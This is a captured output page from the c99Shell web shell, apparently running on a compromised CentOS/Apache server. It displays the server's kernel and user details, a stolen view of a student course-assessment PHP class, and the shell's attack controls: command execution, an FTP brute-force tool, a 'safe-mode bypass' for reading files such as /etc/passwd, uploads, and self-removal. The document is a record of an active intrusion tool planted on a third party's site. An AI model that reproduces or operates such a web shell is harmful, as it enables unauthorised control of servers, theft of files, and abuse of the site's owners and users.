!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/eassess/class/   drwxr-xr-x
Free 52.32 GB of 127.8 GB (40.94%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     clsForceAssess1.php (3.76 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
class ForceAssess {

function 
GetDoAssessByStCodeAndAcYAndSe($studentCode$acadYear$semester$programId) {

    include_once 
"link/function.php";
    include_once 
"clsStudentAssess.php";
    include_once 
"clsRegistration.php";
    include_once 
"clsClassAssess.php";
    include_once 
"clsClassInStructorAssess.php";
    include_once 
"clsDefineAssessment.php";
    include_once 
"clsHoldCourse.php";
    include_once 
"clsDoAssessment.php";
    include_once 
"clsHoldStudent.php";
    include_once 
"clsDoAssessmentHStd.php";
    include_once 
"clsHoldProgram.php";
    
    
$oCA = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_EASS'], $GLOBALS['USER_EASS'], $GLOBALS['PASSWORD_EASS']);
    
    
$oStd = new StudentAssess($oCA);
    
$oReg = new Registration($oCA);
    
$oClass = new ClassAssess($oCA);
    
$oCIS = new ClassInStructorAssess($oCA);
    
$oDA = new DefineAssessment($oCA);
    
$oHC = new HoldCourse($oCA);
    
$oDo = new DoAssessment($oCA);
    
$oHStd = new HoldStudent($oCA);
    
$oDoHStd = new DoAssessmentHStd($oCA);
    
$oHP = new HoldProgram($oCA);
    
    
$nowDate getNowDateTh();
    
    
$oStd->SearchByStCodeAndStudying($studentCode);
    
$oStd->GetRecord();
    
    
$noAssFlag 1;
    
$oReg->RSEnrollItemByStIdAndAcYAndSe($oStd->studentId$acadYear$semester);
    while(
$oReg->GetRecord()) {
        
$oClass->SearchByKey($oReg->classId);
        
$oClass->GetRecord();
        
        
$oCIS->SearchByClassIdGroupClassIdOfficerId($oReg->classId);
        while(
$oCIS->GetRecord()) {
            
// case 0    
            
$oDA->RSDefineAssessmentByAcYAndSeAndFlagAndECDate($acadYear$semester0$nowDate);
            while(
$oDA->GetRecord()) {
                
$oDo->CheckAssessment($oDA->defineid$oStd->studentId$oCIS->officerId$oReg->classId$oClass->section);
                if(!
$oDo->GetRecord())
                    
$noAssFlag 0;
            }    
// end while $oDA
            
            // case 1
            
$oDA->RSDefineAssessmentByAcYAndSeAndFlagAndECDate($acadYear$semester1$nowDate);
            while(
$oDA->GetRecord()) {
                
$oHC->SearchByDefineidClassId($oDA->defineid$oReg->classId);
                if(
$oHC->GetRecord()) {
                    
$oDo->CheckAssessment($oDA->defineid$oStd->studentId$oCIS->officerId$oReg->classId$oClass->section);
                    if(!
$oDo->GetRecord())
                        
$noAssFlag 0;
                }    
// end while $oHC
            
}    // end while $oDA
        
}    // end while $oCIS
        
        // case 5
        
$oDA->RSDefineAssessmentByAcYAndSeAndFlagAndECDate($acadYear$semester5$nowDate);
        while(
$oDA->GetRecord()) {
            
$oDo->CheckAssessment($oDA->defineid$oStd->studentId0$oReg->classId$oClass->section);
            if(!
$oDo->GetRecord())
                
$noAssFlag 0;
        }    
// end while $oDA
        
        // case 6
        
$oDA->RSDefineAssessmentByAcYAndSeAndFlagAndECDate($acadYear$semester6$nowDate);
        while(
$oDA->GetRecord()) {
            
$oHC->SearchByDefineidClassId($oDA->defineid$oReg->classId);
            if(
$oHC->GetRecord()) {
                
$oDo->CheckAssessment($oDA->defineid$oStd->studentId0$oReg->classId$oClass->section);
                if(!
$oDo->GetRecord())
                    
$noAssFlag 0;
            }    
// end while $oHC
        
}    // end while $oDA
    
}    // end while $oReg
    
    // case 2
    
$oDA->RSDefineAssessmentByAcYAndSeAndFlagAndECDate($acadYear$semester2$nowDate);
    while(
$oDA->GetRecord()) {
        
$oHStd->RSHoldStudentByDfIdAndStY($oDA->defineid$oStd->studentYear);
        if(
$oHStd->GetRecord()) {
            if(!
$oDoHStd->CountCheckAssessment($oDA->defineid$oStd->studentId))
                
$noAssFlag 0;
        }    
// end if $oHStd
    
}    // end while $oDA
    
    // case 3
    
$showGFlag3 0;
    
$oDA->RSDefineAssessmentByAcYAndSeAndFlagAndECDate($acadYear$semester3$nowDate);
    while(
$oDA->GetRecord()) {
        
$oHP->SearchByDefineIdProgramIdStdYearAss($oDA->defineid$programId$oStd->studentYear);
        if(
$oHP->GetRecord()) {
            if(!
$oDoHStd->CountCheckAssessment($oDA->defineid$oStd->studentId))
                
$noAssFlag 0;
        }    
// end if $oHStd
    
}    // end while $oDA
    
    
return $noAssFlag;
    
}    
// end function

}    // end class
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.014 ]--